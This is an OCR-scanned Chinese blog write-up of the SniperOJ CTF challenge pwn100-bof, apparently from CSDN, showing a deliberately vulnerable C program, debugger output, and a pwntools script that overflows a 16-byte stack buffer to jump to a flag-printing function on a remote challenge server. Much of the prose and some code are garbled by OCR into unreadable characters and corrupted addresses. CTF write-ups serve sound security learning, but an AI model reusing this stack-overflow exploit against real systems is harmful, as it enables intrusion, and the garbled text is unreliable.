SniperOJ pwn100-bof writeup

0_Rebet T 2017-04-27 03:02:49 K i 2191 IR

FEALFE B RSO R A&, #E5.CC 4.0 BY-SA RN, #5480 I b5 AL BERR A B 1
A CHERE:  hitps://blog.csdn.net/kanamisama0/article/details/70837230

R

B CTF-pwn LR %A 2
1/ 0 VT
TR

FERFEMTR T TER T NEPE—Ppwnflag. FEEpwnE UM KR T 1 FERETR AL — R B . PRUNIE A AN IR A L il
W, IR HI RIS A KRR i ~E 0~

1. HREEXMHER

7% file filename

bof: ELF 64-bit LSB exe e, 4, version 1 (SYSV), dynamically linked, in

IU/Linu BuildID[shal]=0dd9b
5, not stripped

A LAE 2R 7 2Z64bit, linuxct-& T
FEIX AN — T AR AVIRME RS E I 2:  getconf LONG-BIT
SRJE AL XS L R ST Blok 1

2. EFFEAMEET - MTEFERESE


https://blog.csdn.net/kanamisama0
https://blog.csdn.net/kanamisama0/category_6888439.html
https://so.csdn.net/so/search/s.do?q=pwn&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=ctf&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/kanamisama0/article/details/70837230
https://blog.csdn.net/kanamisama0/category_6888439.html

#include <stdlib.h>

vold bingo(){
system("cat ./flag");
}
vold vuln(){
char buffer[16] =
printf("Can you 1 my legs?\n'
read(@, buffer, 0x100);

{0};

}

void welcome(){
printf("Welcome to Sniperoj!\n");

}

int main(){
setvbuf(stdout, NULL, IOLBF, 0);
welcome()
vuln();
return 0;

()
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4 : objdump -d filename
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Ox40069b <main+34>:
Ox4006a0 <main+39>:
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Ox4006aa <main+49>: call 0x400629 <vuln>

AxARf6af emainibds: _moy a3 Ox0

Ox4006b4 <main+59=: pop rbp

0x4006b5 <main+60>: '

Ox4006b6: nop WORD PTR cs:[rax+rax*1+0x0]
Ne argument

0000 | ' ' {<  libc csu init>: push ris)
o068 | - (< _libc start main+240>:
di,eax)
0016 ; Ox1
0024 | f Fffi . ff ("/home/reS5et/ReSet/p
wn100-bof- x86 64/bof”)
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--> (<main=: push rbp)

--> @x0
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Legend: , value
@<@GGGGGGGGG4GGGaa in main ()
step|

0x400651 <vuln+40>:
Ox400656 <vuln+45>:
Bx400659 <vuln+48>: [ :
0x40065e <vuln+53>: call 0x400500 <read@plt>
Bx408663 <vuln+S58>: nop
Ox400664 <vuln+59>: leave
0x400665 <vuln+60>:
Ox400666 <welcome>: push rbp
Guessed arguments:
arg[8]: 6x0
arg[1]: --> Bx0
arg[2]: 8x100

0000 | FFFF --> Ox0

0008 | Fff 5 --> Ox0

Bo16| ] --> --> (< libc csu init=>:

ush ris)

0024 | (<main+54>: mov eax,0x0)

Be32| (< libc csu init>: push ris)

0040 | ; (< libc_start main+240=:
_tdijeax)
B 00438 | FFFF TS

10056 | ' e fi ' ' (" /home/re5et/Re5et/p
B wn100-bof-x86-64/bof")
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Gx@@@@@@@@@@4@@65@ in vuln ()
next
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# local addr
# remote ip
# remote port
# run the program
# fill chars

# the address of func

# func

# until receive the string

# send payload

# receive the result
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T from pwn import *3 5| F pwntools & He 4 75
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p = process(addr) Al AHATFEF o
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padding = ‘A’ * 24 IX f]$H 78 i H AU A 2

bingo_addr = 0x400616 ix H.ic bingord Zititik, ANH SRR 2 1M T Hp64 ek $ie 3 3h##t
payload = padding + p64(bingo_addr) i J payload k52l H .
p.recvuntill(“legs?\n”) X B2 B E RS FAF R AL E, BOEEIEE] legs?\n' 5
p.send(payload) #£ 32 payload

info = p.recv(1024)

print info 1 P )4 H FE 77 3R [ 45 2R

EAMIZAT— T ki RIPAT T (R A B A flaght LA I M2 3RS

p#fhun exp.py
arting-local p ss fbof': pid 3
. /Tlag:; No,such Tlle or direc tory

s './bof! stopped with exit code 0 (pid 3

» python ex
[+] Openina connection to 123.207.114.37 on port 30000: Done
Sniper03{. }

[#] Closed connection to 123.207.114.37 port 30600
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